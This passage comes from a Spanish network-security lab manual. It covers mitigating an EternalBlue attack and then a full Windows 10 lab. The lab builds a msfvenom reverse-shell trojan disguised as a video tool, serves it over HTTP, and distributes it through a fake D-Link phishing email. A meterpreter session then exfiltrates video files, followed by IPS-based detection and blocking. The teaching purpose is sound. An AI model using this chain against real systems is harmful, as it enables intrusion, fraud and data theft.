If you'd like to know more, you can search online later for this error; KMODE EXCEPTION NOT HANDLED (srvn

Figura 2.29: BSOD (Blue Screen Of Death).

Tarea 2: Realizar el reconocimiento.

En esta tarea el estudiante aprendera a identificar al host que ha explotado la vulnerabilidad
en el servidor con Windows Server 2012 R2, realizando un analisis sobre el sistema

comprometido.
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Paso 1: Verificar sucesos ocurridos en el Event Viewer del servidor SRV-TEST.

Ir a la opcion “Tools” en el dashboard de Windows Server 2012 R2 y escoger la opcién
Event Viewer como se muestra en la Figura 2.30.

Monage  Tools  View  Help

|

Companent Services

Server Manager * Dashboard

Computer Management

WELCOME TO SERVER MANAGER
Dashboard Defragment and Optimize Drives

Local Server Event Viewer
7 All Servers . iSCS| Initiator
o Configure this local server Local Security Policy

& File and Storage Services b
‘ODEC Data Sources (32-bit)

(ODBC Data Sources (64-bit)
Performance Monitor

QUICK START

N

Add roles and features

Resource Monitor

w

Add other servers to manage
Security Configuration Wizard

4 Create a server group Services

System Configuration

WHAT'S NEW

System Information
Task Scheduler

LEARN MORE Windows Firewall with Advanced Security

Windows Memory Diagnostic
ROLES AND SERVER GROUPS Windans Pawershell
Roles:1 | Servergroups:1 | Serverstotal 1 Windows PowerShell (+26)
Windows PowerShell ISE
Windows PowerShell ISE (+86)
Windows Server Backup

= File and Storage

3 1
Services

@ Manageability

Events

Performance Services
BPA results Performance
BPA results

Figura 2.30: Dashboard de Windows Server 2012 R2

Dirigirse a la seccion “System” y verificar anomalias. De tratarse el hallazgo de una
anomalia, analizar el error e interpretar los resultados como se muestran en la Figura 2.31.

= Event Viewer = | = -

File Action View Help

e 2
@ Event Viewer (Local) System  Number of events: 1.97. Actions
= custom vlews i}
l: _:'# Windows Logs Level Date and Time Source EventID ~| | System -
= 5
L 2] Application (D) Information  28/08/2017 23:05:46 Service.., ?036|:| = Open Saved Log...
& security ®Inf0rmatfon 28/08/2017 23:05:46 Ser\.rfce... 7036 W Create Custom Vie..
] Setup ®Inf0rmatlon 28/08/2017 23:05:46 Service... 7036 :
. N5 . Import Custom Vie...
] system ®Inf0rmatlon 28/08/2017 23:05:46 Service... 7036
5] Forwarded Events ® Information  28/08/2017 23:05:44 Service... 7036 Clear Log...
b _[:' Applications and Services Lo| ® Information  28/08/2017 23:05:44 Service.. 7036 ¥ Filter Current Log...
_;j Subscriptions ®Inf0rmation 28/08/2017 23:05:43 Service.. 7036 B P i
i 28/08/2017 23:05:43 roperes _
(i) Information  28/08/2017 23:05:42 Service... 7036 &8 Find.. =
® Information  28/08/2017 23:05:41 Service... 7036 H Save All Events As...
® Information  28/08/2017 23:05:41 Service.. 7036 | ¥ Attach a Task To th
<| [T [ >
View »
Event 1001, BugCheck x
|63 Refresh
General | Detail
== H Hep ’
~
The computer has rebooted from a bugcheck. The bugcheckD Event 1001, BugCh.. ~
(OwfEEFEFFFR0000003, CufffffB0001fa335d, (ufffff80142098c28, Oufffl ;
saved in: C:\Windows\MEMORY.DMP, Report Id: 082817-32671 B Event Properties
Y| |'E] Attach Task To This...
<] [T [ >
< m ¥ 52 Copy by

Figura 2.31: Visor de Eventos de Windows.
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Darle doble click al error encontrado para analizar la informacion correspondiente. El detalle
del error se muestra como en la Figura 2.32.

&l
General | Details

Event Properties - Event 1001, BugCheck

Log Mame:
Source:
Event ID:
Level:
User
OpCode:

Mere Information:

The computer has rebooted from a bugcheck. The bugcheck was: 0x0000001e (CfFFFFFFFA0000003,
OxfFFFFA0001fa335d, OxffAFE0142098c28, Dnfffff30142098430). A dump was saved in: C\Windows
“"MEMORY.DMP. Report Id: 082817-32671-01.

28/08/2017 23:05:43

Classic

WIN-82L5100QIC5

System

BugCheck Logged:

1001 Task Category: MNone
Error Keywords:

/A Computer:

Info

Event Leg Online Help

[«] [*]

Close
a

Figura 2.32: Detalles del error encontrado.

Verificar finalmente en el visor de eventos del dashboard de Windows Server 2012 R2. La
interfaz del visor se muestra en la Figura 2.33.

Events

Event severity levels H

Local Server - Events Detail View

Time period 24

BEE

Hide Alert Criteria (~)

[Hows  [7]

Event sources All : Event IDs
Event logs All : Servers |AH |' |
Hide Alerts | | Showal | Alerts last hidden at 14/08/2017 2:38:36
Server Name ID Severity Source Log Date and Time
WIN-82L5100QIC5 41 Critical  Microsoft-Windows-Kemnel-Power System  28/08/2017 23:04:54
WIN-82L5100QICS 41 Critical ~ Microsoft-Windows-Kernel-Power System  28/08/2017 22:12:28
WIN-82L5100QIC5 41 Critical ~ Microsoft-Windows-Kernel-Power System  28/08/2017 20:49:06
WIN-82L5100QICS 41 Critical  Microsoft-Windows-Kernel-Power  System  28/08/2017 2:29:17
| Go To Local Server | | 0K ‘ ‘ Cancel |

Figura 2.33:

Visor de Eventos del Dashboard.
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Analizar la informacién obtenida en conjunto con el error arrojado por el BSOD (Blue Screen
Of Death) y emitir las correspondientes conclusiones.

Paso 2: Verificar logs y reportes en el servidor SRV-UTM.

Entrar a la interfaz de Endian, como se ve en la Figura 2.34, para verificar logs y reportes
de la actividad en la red relacionados al servidor SRV-TEST.

Firewall log viewer

=
bl Settings

Fiter: | Jump to Date: |2017-08-28 JumptoPage: [1 | | Update | | Bxport |

.
S log

Total number of firewall hits for day 2017-08-28: 1180 - Page 1 of 8
| Otder | Newer

Time Chain iface | Proto  Source MAC address Destination

Figura 2.34: Vista de Logs y Reportes

Analizar las direcciones IP de origen con las direcciones IP de destino, buscando la relacion
entre las correspondientes direcciones IP del atacante y del servidor. Esta informacién
puede ser obtenida del reporte del firewall mostrada en la Figura 2.34.

Tarea 3: Realizar la mitigacion.

En esta tarea el estudiante aprendera a establecer esquemas de seguridad de datos para
mitigar las vulnerabilidades encontradas, mediante el uso de los conocimientos y
herramientas previas.

Paso 1: Habilitar el IPS en el servidor SRV-UTM.

Acceder a la interfaz de Endian y habilitar la funcién de IPS a través de “Servicios” —
“Intrusion Prevention”.
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Logout R Help ¥
s endian firewall

@ community

System Status Metwork Services Firewall Proxy VPN Logs and Reports
DHCP Server Intrusion Prevention System
Dynamic DNS ﬁ Intrusion Prevention System | Rules Editor
Antivirus Engine
Time server Enable IPS
Spam Training To enable the IPS click on the switch above.

Intrusion Prevention
Traffic Monitoring
SNMP Server

Quality of Service

Figura 2.35: Interfaz del IPS

Dar click en el botén para activar el IPS, como se observa en la Figura 2.35, y verificar que
la regla de exploits se encuentre activa en el submenu “Rules”. Los resultados se deben
mostrar al igual que en la Figura 2.36. La flecha verde indica que las reglas se encuentran

activas.
[ | autoiemerging-dshield rules 2 & A & ﬁ
[ | autolemerging-exploit.rules 220 B A (v) ﬁ
|:| autolemerging-ftp.rules 60 g A2, Cv’? ﬁ
[ | autolemerging-games.rules 73 & A & E

Figura 2.36: Reglas del IPS.
Paso 2: Crear reglas de acceso inter-zonas en el firewall del servidor SRV-UTM.

En el menu Firewall, ir a la opcion “Inter-Zone traffic” y crear las reglas de acceso con IPS
para los hosts de la VLANSs 24.

ﬁ Current rules

Edit zone firewall rule

Source Destination
Type * | Network/IP v Type* | Network/IP v
Insert Network/IPs (one per line): Insert network/IPs (one per line):
192.168.24.68/24 280.10.1208.2
ServicelPort
Service * Protocol * Destination port (one per line)
<ANY> v |[<anr- v |
Policy
Action * Remark Position *
ALLOW with IPS ¥ |REDA-WINDOW’SSERVER Afterrule #8 ¥
’:‘ Enabled D Log all accepted packets

Update Rule |or Cancel *This Field is required.

Figura 2.37: Creacion de regla de acceso Inter-zona.



36

En el campo “Source” se escoge la opcion “Network/IP” para designar la direccién de red

correspondiente. Para “Destination” también escogemos la misma opcion y designamos la

direccion IP del servidor en cuestion. En la Figura 2.37 se ilustra lo explicado.

ﬁ Current rules

Add zone firewall rule

Source
Type* | Metwork/IP v |

Insert Network/IPs (one per ling):

Destination
Type* | Metwork/IP v |
Insert network/IPs (one per line):

192.168.25.0/24

Service/Port

200.10.120.2

Service * Protocol * Destination port (one per ling)
| <ANY= ¥ | | <ANY> ¥ |
Policy
Action * Remark Position *
|RED B - WINDOWS SERVER

| ALLOW with IPS ¥ |
@El‘atle:

| AddRule |orCancel

|Last ¥ |

O Log &ll accepted packets

* This Field is required.

Figura 2.38: Creacién de regla de acceso Inter-zona.

De la misma forma creamos una regla para los hosts de la VLAN 25 como se muestra en

la Figura 2.38. En la Figura 2.39 se aprecia la creacion de una regla para denegar el trafico

proveniente de cualquier otra red.

ﬁ Current rules

Add zone firewall rule

Source

Type * | <ANY= M

This rule will match any destination

Destination

Type * | MNetwork/ 1P v |
Insert network/IPs (one per line):
200.10.120.2

Service/Port

Service * Protocol * Drestination port (one per ling)

| <ANY= ¥ | | <ANY= ¥ |

Policy

Action * Remark Position *

| DENY v | ALL - WINDOWS SERVER) | Last v |
@Er:\tle: O Log all accepted packets

| Add Rule | or Cancel

* This Field is required.

Figura 2.39: Creacién de regla de denegacion Inter-zona.
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9 192.168.24.0624 200.10.120.2 <ANY= == RED A - WINDOWS SERVER
10 192.168.25.0:24 200.10.120.2 <ANY=> == RED B- WINDOWS SERVER
11 =ANY= 200.10.120.2 <ANY> = ALL - WINDOWS SERVER

Figura 2.40: Verificacion de reglas creadas.

Volviendo al menu de reglas Inter-zonas, podemos verificar la creacion de las mismas como
se observa en la Figura 2.40.

Paso 3: Crear reglas de acceso en el Switch SW-HQ.

En el Switch SW-HQ crear access lists para controlar el tréfico proveniente de los switches
SW-RAYy SW-RB, y que tengan como destino el servidor SRV-TEST. Si es posible, granular
el filtrado hasta los servicios utilizados.

SW-HQ(config)#ip access-list extended ACCESO_A SERVIDORES
SW-HQ(config-ext-nacl)#104 permit tcp 192.168.24.0 0.0.0.255 host 200.10.120.2 eq http
SW-HQ(config-ext-nacl)#105 permit tcp 192.168.24.0 0.0.0.255 host 200.10.120.2 eq ftp
SW-HQ(config-ext-nacl)#106 permit tcp 192.168.25.0 0.0.0.255 host 200.10.120.2 eq http
SW-HQ(config-ext-nacl)#107 permit tcp 192.168.25.0 0.0.0.255 host 200.10.120.2 eq ftp
SW-HQ(config-ext-nacl)#203 deny tcp any host 200.10.120.2
SW-HQ(config-ext-nacl)#204 deny udp any host 200.10.120.2

SW-HQ(config)#interface range GigabitEthernet 0/2-3

SW-HQ(config-if)#ip access-group ACCESO_A_ SERVIDORES in

Las ACLs 104, 105, 106 y 107 permiten a los hosts de las VLANs 24 y 25, acceder a los
servicios http y ftp del servidor SRV-TEST. Las ACLs 203 y 204 deniegan el acceso de
cualquier otro host, usando protocolos upd y tcp, hacia el servidor SRV-TEST. Esta ACL
extendida es creada con el nombre de “ACCESO_A_SERVIDORES” y es aplicada en las
interfaces GigabitEthernet0/2 y GigabitEthernet0/3 en el sentido de entrada al Switch SW-

HQ.
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Tarea 4: Verificar los resultados.

En esta tarea el estudiante aprendera a comprobar la aplicacion de los esquemas de
seguridad anteriormente empleados, realizando los pasos de la Tarea 1.

Paso 1: Revisar logs del Firewall del UTM.

En la interfaz del Firewall de Endian se debe verificar que los paquetes enviados por el
atacante estan siendo descartados.

Figura 2.41: Logs del Firewall de Endian.

Como se aprecia en la Figura 2.41, los logs indican con el indicador “BADTCP:DROP”, que
los paquetes enviados por el atacante estan siendo descartados por el UTM.

Paso 2: Ejecutar el ataque y observar los cambios.

Volver a realizar los pasos de la Tarea 1y verificar los resultados.

:~/Documents/eternalblue# python eternalblue8 exploit.py 200.10.120.2 m
eterpreter.bin 200
shellcode size: 1262
numGroomConn: 200
Traceback (most recent call last)
File "eternalblue8 exploit.py”, line 563, in <module>
exploit(TARGET, sc, numGroomConn)
File "eternalblue8 exploit.py", line 453, in exploit
conn = smb.SMB(target, target)
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2399, in _ init |

self._sess = nmb.NetBIOSTCPSession(my name, remote_name, remote_host, host_t
ype, sess_port, self._ timeout)
File "/usr/lib/python2.7/dist-packages/impacket/nmb.py", line 836, in _ init |
NetBIOSSession._ init_ (self, myname, remote_name, remote_host, remote_type
= remote_type, sess_port = sess_port, timeout = timeout, local_type = local_type
, sock=sock)
File "/usr/lib/python2.7/dist-packages/impacket/nmb.py", line 716, in  init |
self. sock = self. setup connection((remote host, sess port))
File "/usr/lib/python2.7/dist-packages/impacket/nmb.py", line 845, in setup c
onnection
raise socket.error("Connection error (%s5:%s)" % (peer[0], peer[l]), e)
socket.error: [Errno Connection error (200.10.120.2:445)] [Errno 110] Connection|
timed out
:~/Documents/eternalblue# |

Figura 2.42: Error de conexién en la ejecucién del ataque.
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En la Figura 2.42 podemos observar que el ataque ha resultado fallido, producto de que la
conexion al servidor no se ha podido establecer, devolviéndonos un error de “timeout”.

Lab 3: Malware en Windows 10

Objetivos de aprendizaje

Tiempo de duracion: 90 min
Conocimientos Previos.
Para llevar a cabo el Lab 2, el estudiante debera poseer conocimientos en:

e Sistemas Operativos de Red.
e Access Lists en dispositivos Cisco.
¢ Fundamentos de Linux

Al finalizar este laboratorio, el estudiante sera capaz de:

e Realizar un ataque de intrusion en Windows 10.

e Emplear el uso del software “metasploit” para explotar vulnerabilidades.
e Preparar un vector de ataque de acuerdo a una vulnerabilidad.

e Crear malware para realizar una conexién inversa.

e Emplear el uso de exploits.

e Usar el programa “nmap” para la enumeracion de hosts.

e Emplear el uso del payload “meterpreter’ para obtener acceso a una shell de
windows.

e Emplear el uso de comandos en la shell de windows.

e Habilitar el uso del IPS (Intrusion Prevention System) en el servidor SRV-UTM.

Escenario

En este laboratorio, el estudiante aprendera a realizar un ataque de intrusion a un servidor
basado en Windows 10. Posteriormente realizara un reconocimiento del ataque,
identificando las vulnerabilidades encontradas para finalmente realizar la mitigacién
correspondiente.



40

Tarea 1: Realizar el ataque.

En esta tarea el estudiante aprendera a reconocer y explotar una vulnerabilidad existente
en un servidor con Windows 10, con el fin de ejecutar un ataque de escalacion de privilegios
usando malware.

Paso 1: Identificar el objetivo.

Utilizar el programa “nmap” con el parametro “-O” para enumerar los hosts en la red con
fingerprinting para conocer su sistema operativo.

root@kali: ~/Documents/eternalblue e ® O

File Edit View Search Terminal Help
:~/Documents/eternalblue# nmap -0 200.10.120.0/29

Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-29 00:37 -05

Figura 2.43: Escaneo con nmap.

Una vez ejecutada la sentencia, el programa comenzara a realizar el reconocimiento como
se muestra en la Figura 2.43.

Nmap scan report for 200.10.120.3
Host is up (0.022s latency).

Not shown: 997 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

Device type: general purpose

Running: Microsoft Windows 10

0S CPE: cpe:/o:microsoft:windows 10

0S details: Microsoft Windows 10 build 10074 - 10586
Network Distance: 2 hops

Figura 2.44: Resultados de nmap.

En la Figura 2.44 podemos observar los resultados obtenidos, donde encontramos los
puertos l6gicos y el sistema operativo que utiliza el host escaneado.

Paso 2: Preparar el vector de ataque.

Crear un malware con cualquier nombre de extension “.exe” que ejecute el payload
meterpreter y realice una conexion inversa a la maquina del atacante. Usar la herramienta
“msfvenom” de la siguiente forma:
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root@kali:~#msfvenom —p windows/meterpreter/reverse_tcp Ihost=192.168.100.2
Iport=4444 —f exe -o /root/Desktop/VIDEO_MAX_1.3.exe

:~/Documents/windows10# msfvenom -p windows/meterpreter/reverse tcp lho
st=192.168.100.2 lport=4444 -f exe -o /root/Desktop/VIDEO MAX 1.3.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the paylo
ad
No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 333 bytes

Final size of exe file: 73802 bytes

Saved as: /root/Desktop/VIDEO MAX 1.3.exe
:~/Documents/windows10# D

Figura 2.45: Creacién de Malware

En la penultima linea de los resultados mostrados en la Figura 2.45 se puede observar que
se cred con éxito el malware denominado “VIDEO_MAX_1.3.exe”.

Preparar metasploit para recibir la conexion inversa como se muestra en la Figura 2.46. Se
configura el exploit “handler”, usando el payload “Windows/meterpreter/reverse tcp”,
colocando como “LHOST” a la direccién IP del atacante, y como “LPORT” el puerto por
donde se establecera la conexion. Finalmente se ejecuta el comando “exploit” para
comenzar el ataque.

msf > use exploit/multi/handler

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windows/meterpreter/reverse tcp

msf exploit( ) > set LHOST 192.168.100.2

LHOST => 192.168.100.2

msf exploit( ) > set LPORT 4444
LPORT => 4444
msf exploit( ) > exploit

[*] Started reverse TCP handler on 192.168.100.2:4444
[*] Starting the payload handler...

Figura 2.46: Metasploit en espera de la conexion inversa.

Iniciar un servidor web con la utilidad de python “SimpleHTTPServer” para poner online el
malware que posteriormente se distribuira. Una vez que se ejecute la sentencia, quedara
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en espera de conexiones en el puerto 80 como se muestra en la Figura 2.47.

root@kali:~#python -m SimpleHTTPServer 80

:~/Documents/windows10# python -m SimpleHTTPServer 80

Serving HTTP on 0.0.0.0 port 80

Figura 2.47: Servidor HTTP con Python

Paso 3: Distribuir el malware.

Distribuir el malware a través de correo fraudulento utilizando acortadores de direcciones
para enmascarar la direccion de la méquina del atacante. Sugerencia: utilizar cualquier
aplicacion web para enviar correos falsos o crear un servidor de correos para realizar una
simulaciéon mas real.

D-Link

Building Networks for People

Estimado Usuario,

Se pone a disposicion el nuevo software version 1.3 desde el repositorio oficial de Dlink Latinoamérica para mejorar la calidad del video de las camaras de Dlink.
Dar click en el siguiente enlace, descomprimir el archivo y ejecutar la nueva version del software.

Link del repositorio Oficial: hitp./bit.ly/1 hJZKwK

Figura 2.48: Disefio de correo fraudulento.

En la Figura 2.48 se puede observar el disefio del correo fraudulento, donde se indica que
se puede descargar el software malicioso desde una direccion web, aparentemente
proveniente del mismo fabricante.

Paso 4: Explotar la vulnerabilidad.

La victima debe descargar el archivo y ejecutarlo. Como resultado se recibe la conexion


mailto:root@kali
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inversa y se debe buscar el directorio con la informacién a sustraer. Ejecutar el comando
“shell” para obtener una shell de Windows como se aprecia en la Figura 2.49.

msf exploit( ) > exploit

*] Started reverse TCP handler on 192.168.100.2:4444
¥] Starting the payload handler...
*]1 Sending stage (957487 bytes) to 200.10.120.3

l

l

I

[*] Meterpreter session 2 opened (192.168.100.2:4444 -> 200.10.120.3:49423) at 2
017-08-15 13:57:24 -0500

meterpreter > shell

Process 3548 created.

Channel 1 created.

Microsoft Windows [Version 10.0.10240]

(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Carlos\Desktop>

Figura 2.49: Conexién inversa recibida y ejecucion de una shell.

Utilizar el comando “cd” para cambiar de directorios hasta llegar donde se encuentre la
informacion relevante. Usar el comando “dir” para enlistar el contenido de un directorio
como se observa en la Figura 2.50.

C:\Users>cd ../

Volume in drive C has no label.
Volume Serial Number is 5840-0ED8

Directory of C:\

10/07/2015 - <DIR> PerflLogs
16/08/2017 - <DIR> Program Files
15/08/2017 C <DIR> Program Files (x86)
14/08/2017 - <DIR> Users
15/08/2017 - <DIR> VIDEO RECORDS
16/08/2017 - <DIR> Windows
29/08/2017 - <DIR> Windows10Upgrade

0 File(s) 0 bytes

7 Dir(s) 14.030.409.728 bytes free

C:\>f

Figura 2.50: Navegar en los directorios de Windows.
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C:\>cd VIDEO RECORDS
cd VIDEO RECORDS

C:\VIDEO RECORDS>dir

dir

Volume in drive C has no label.
Volume Serial Number is 5840-0ED8

Directory of C:\VIDEO RECORDS

15/08/2017 : <DIR>
15/08/2017 - <DIR> o
15/08/2017 - : DIA 1.mp4
15/08/2017 - s DIA 2.mp4
15/08/2017 - : DIA 3.mp4
15/08/2017 - - DIA 4.mp4
15/08/2017 - : DIA 5.mp4
15/08/2017 - ; DIA 6.mp4
15/08/2017 - é DIA 7.mp4
7 File(s) 311 bytes
2 Dir(s) 14.030 728 bytes free

C:\VIDEO RECORDS>J

Figura 2.51: Directorio con informacioén relevante.

En la Figura 2.51 se muestra el directorio donde se encuentran los videos capturados por
las camaras, lo cual representa valiosa informacion.

Ingresar el comando “exit” para volver a meterpreter y con el comando Download,
acompafiado de la ruta de los videos, descargamos la informacién en nuestra computadora
como se muestra en la Figura 2.52.

C:\VIDEO RECORDS>exit
exit
meterpreter > download C:\\VIDEO RECORDS\\DIA 1.mp4 /root/Desktop

[*] downloading: C:\VIDEO RECORDS\DIA 1.mp4 -> /root/Desktop/DIA 1.mp4
[*] download : C:\VIDEO RECORDS\DIA 1.mp4 -> /root/Desktop/DIA 1.mp4
meterpreter > |j

Figura 2.52: Descargando archivos desde meterpreter.

Tarea 2: Realizar el reconocimiento.

En esta tarea el estudiante aprendera a identificar al host que ha explotado la vulnerabilidad
en el servidor con Windows 10, realizando un analisis sobre el sistema comprometido.
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Paso 1: Analizar software de origenes desconocidos.

Por inspeccion, verificar software de origen desconocido en el escritorio de Windows. Se
debe de encontrar el software como se muestra en la Figura 2.53.

s | VIDEO_MAX_1.3

“ i Shase — G

» VIDEO_MAX_13 » VIDEO_MAX 13

# Quick access

Bl Desktop ¢ Licensabd

& Downloads README.tat

% Documents (3 VIDEO_MAX exe

& Pictures

d Music
VIDEO_RECORDS

B Videos

Figura 2.53: Directorio del programa malicioso.

Analizar el software con un programa antivirus en busqueda de posibles amenazas.

Debemos obtener resultados que reflejen la existencia de un malware como se muestra en
Figura 2.54.

All detected terms

Detected tem
© Teogan Wi
© TrojanWin)2/Swron.A
© TropancWi S
© TrojancWinl2/Sw

Alert level Date A
Severe

Severe

Severe

Severe
Category: Tropn
Description: This program is dangerous and executes commands from an sttacker

| Recommended action: Remove this software immeduately

Figura 2.54: Antivirus detectando un trojano.

Paso 2: Verificar logs y reportes en el firewall del servidor SRV-UTM.

Entrar a la interfaz de Endian y ver los logs y reportes del firewall en busca de la direccion
ip del intruso.
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Logout ‘?. Help ﬂ’

+ endian firewall

communlty

System Status Network Services Firewall Proxy VPN Logs and Reports
Lve Logs Firewall log viewer
Summary ﬁ Settings
System
Service Fiter: ‘ Jump to Date: |2017-08-29 | Jump to Page: 'l_l Update Export
Firewall
Proxy ﬁ log
Settings

Trusted Timestamping Total number of firewall hits for day 2017-08-29: 2644 - Page 1 of 18

Older Newer
Time Chain Iface  Proto  Source sre MAC address Destination pet
port port
ZONEFW:ACCEPT:3 1cmp IcmP

ZONEFW:ACCEFT:3:

ICMP

ZONEFW ACCEFT:3IS b ICMP

ZONEFW:ACCEPT:3: ICMP

ZONEFW:ACCEPT:313 b0 IcMp

ZONEFW:ACCEFT:3:

ICMP

ZONEFW ACCEFT.Z15 b ICMP

Figura 2.55: Vista de Logs y Reportes.

En la Figura 2.55 se muestran los Logs del Firewall, donde se aprecia la comunicacion entre
la direccién IP del atacante y el servidor.

Tarea 3: Realizar la mitigacion.

En esta tarea el estudiante aprendera a establecer esquemas de seguridad de datos para
mitigar las vulnerabilidades encontradas, mediante el uso de los conocimientos y
herramientas previas.

Paso 1: Crear politicas de seguridad.

Redactar, de acuerdo a algun formato vélido, las politicas de seguridad de la informacion
gue se deberian aplicar para restringir la instalacion no autorizada de software en los
servidores.
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Paso 2: Habilitar el IPS en el servidor SRV-UTM.

En la Figura 2.56 podemos observar que el IPS se encuentra por defecto desactivado.
Habilitar entrando a la interfaz de Endian, en la opcion “Services” y elegir “Intrusion

Prevention”.

Logout [ Help 1Y
s endian firewall

weee.: COMMunNity

System Network Services Proxy Logs and Reports

DHCP Server Intrusion Prevention System
vnamic ONS
Dynamic DNS ﬁ Intrusion Prevention System | Rules  Editor
Antivirus Enging
Time server Enable IPS ﬁ
Spam Training To enable the IPS click on the switch above.

Intrusion Prevention
Traffic Monitoring
SNMP Server

Quality of Service

Figura 2.56: Interfaz del IPS.

Tarea 4: Verificar los resultados.

En esta tarea el estudiante aprendera a comprobar la aplicacion de los esquemas de
seguridad anteriormente empleados, realizando los pasos de la Tarea 1.

Paso 1: Revisar logs del UTM.

En la interfaz de Logs y Reportes de Endian, verificar que la amenaza se esté mitigando de

acuerdo a las medidas implementadas.

2017-09-1111:19:31  ZONEFW:ALLOW:6:I3 TCP (brd) 200.10.120.3:43419 -> 192.168.100.2:4444 (br0) *

Intrusio.. 2017-08-11 11:19:39 snort[4428]: [1:2101390:8] GPL SHELLCODE x86 inc ebx NOOP [Classification: Executable Code was Detected] [Priority: 1] {TCP} 192.168.100.2:4444 >
200.10.120.3:49419

Intrusio.. 2017-09-11 11:19:42 snort[4428]: [1:2012086:1] ET SHELLCODE Possible Call with No Offset TCP Shelcode [Classification: Executable Code was Detected] [Priority: 1] {TCP}

192.168.100.2:4444 -> 200.10.120.3.49419 v

Figura 2.57: Logs del IPS y del Firewall

En la Figura 2.57 podemos revisar que el IPS ha detectado una amenaza en el trafico de
red proveniente de la direccion IP del atacante en el puerto que establece la conexién

inversa con el servidor.
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Paso 2: Ejecutar el ataque y observar los cambios.
Realizar los pasos de la Tarea 1y verificar los resultados obtenidos.

msf exploit( ) > exploit

[*] Started reverse TCP handler on 192.168.100.2:4444

[*] Starting the payload handler..

[*] Sending stage (957487 bytes) to 200.10.120.3

[*] Meterpreter session 1 opened (192.168.100.2:4444 -> 200.10.120.3:49419) at 2

017-09-11 11:19:46 -08500
meterpreter > shell
Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter > JJ
Figura 2.58: Error de “Timeout” en la conexién de metasploit.

meterpreter >
Died

[*] 200.10.120.3 - Meterpreter session 1 closed. Reason:

Figura 2.59: Sesion de Meterpreter cerrada.

En la Figura 2.58 podemos observar que la conexion ha sido interrumpida y el ataque ha
fallado. Producto de esto, no se pueden seguir ejecutando comandos y la sesion de

meterpreter se ha cerrado como se ve en la Figura 2.59.

2.2 Disefio de la Red.
2.2.1 Disefo Fisico.
Para disefiar la topologia de red que se empleara en el disefio fisico, hemos tomado de
referencia los laboratorios elaborados en el manual de practicas. Los equipos a
utilizarse en la topologia de red son: 20 computadoras de escritorio, 4 computadoras de
tipo servidor, 4 conmutadores, 1 enrutador, 1 access point, 10 teléfonos IP y 2 camaras

IP. En la Figura 2.1 se muestra la simbologia de los dispositivos que conforman la red:

CABLE UTP :
CAT 6A > ’~ CAMARA IP

K]

SERVIDOR

! g TELEFONO IP

T SWITCH

LAYER 3 ﬂ SWITCH
LAYER 2

ACCESS

1
‘ POINT P
UT™M

’ PC
, INTERNET

>
B U W weor
4

Figura 2.1: Simbologia de la Topologia de Red.
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El Servidor UTM, que posee el sistema operativo Endian, clasifica la red en tres zonas:

Internet, Intranet y DMZ. Esto se puede apreciar en la Figura 2.2.

DIAGRAMA DE RED

Figura 2.2: Esquema de red de Endian.

En la Figura 2.3 se muestra la topologia de red completa, en la que se puede ver los
dispositivos interconectados.

SRV-UTM SRV-TEST SRV-CAM  SRV-TEL
WAN-RT o o SW-DMz 200.10.120.2 200.10.120.3 200.10.120.4

|7t77 } § Gi0/1:188.120.37.2 Gi0/2:200.10.120.1
~interne:
e & a 8 &
Gi0/1:188.120.37.1 Gi0/3:192.168.77.1 * ! -
T ) J

sw-HQ [P
4—.-0
VLAN 60:192.168.60.1 B Il VLAN 25: 192.168.25.1
VLAN 77: 192.168.77.2 . VLAN 24:192.168.24.1

VLAN 100: 192.168.100.1 VLAN 20: 192.168.30.1
VLAN 88: 192.168.88.1
Vian 88:192.168.88.2  SW-RA SW-RB  Vlan 88:192.168.88.3
Gio/1 Gio/1 Gion l Gio/1 Gio/1 Gio/1 Gio/1 Gio/1 Gior1 Gio/1
|
PC1 I PC-Z] PC-3 j PC-4 ] Pc-sj IPC-].i PC-12 | PC~13] pPC-14 PC-lS]
192.168.24.3 192.168.24.4 192.168.24.5 192.168.24.6 192.168.24.7 192.168.25.3 192.168.25.4 192.168.25.5 192.168.25.6 192.168.25.7

PHONE-01 PHONE-02 PHONE-03 PHONE-04 PHONE-05 PHONE-06 PHONE-07 PHONE-08 PHONE-09 PHONE-10
192.168.30.2 192.168.30.3 192.168.34 192.168.30.5 192.168.30.6 192.168.30.7 192.168.30.8192.168.30.9 192.168.30.10 192.168.30.11

oL H Q é'/ =?'/ oL

192.168.24.8 192.168.24.9192.168.24.10 192.168.24.11 192.168.24.12

PC-6 ] PC-7] PC- B ] PC-9 ]
Gio/1 Gio/1 Gio/1 GiorL Gio/1

CAM-01
EO: 192.168.60.2
| 2

=

192.168.25.8 192.168.25.9192.168.25.10 192.168.25.11 192.168.25.12

PC-: 1SI PC- 19] PC-. ZO]
Gio/1 Gio/1 Gio/1 Gio/1

CAM-02
EO: 192.168.60.3
>

PC- 10 PC 15 PC-: 17

DI

KALI

|Il

Figura 2.3: Topologia de red completa.
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En la Tabla 4 se propone una forma de clasificar las VLANs. La configuracion del

protocolo VTP de acuerdo a la interconexion entre switches se define en la Tabla 5.

En la Tablas 6 se muestra el direccionamiento ip de los dispositivos de interconexion

y los dispositivos finales.

VLAN DESCRIPCION
24 RED A
25 RED B
30 TELEFONOS
60 CAMARAS
77 RED EFW
88 ADMINISTRACION
100 ACCESS POINT
Tabla 4: Descripcién de VLANS.
DISPOSITIVO VTP MODE VTP DOMAIN VTP PASSWORD
SW-HQ Server LICRED LICRED2017
SW-RA Client LICRED LICRED2017
SW-RB Client LICRED LICRED2017
Tabla 5: Configuracion de VTP.
DISPOSITIVO INTERFAZ DIRECCIONIP  MASCARA GATEWAY
WAN-RT Gio/1 188.120.37.2 255.255.255.252 |-
SRV-UTM Gio/1 188.120.37.1 255.255.255.252 1188.120.37.2
Gi0/2 200.10.120.1 255.255.255.248 |-
Gi0/3 192.168.77.1 255.255.255.248 |-
SW-HQ VLAN 24 192.168.24.1 255.255.255.0 -
VLAN 25 192.168.25.1 255.255.255.0 -
VLAN 30 192.168.30.1 255.255.255.0 -
VLAN 60 192.168.60.1 255.255.255.0 -
VLAN 77 192.168.77.2 255.255.255.248 |-
VLAN 88 192.168.88.1 255.255.255.0 -
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VLAN 100 192.168.100.1 255.255.255.0 -
SW-RA VLAN 88 192.168.88.2 255.255.255.0 192.168.88.1
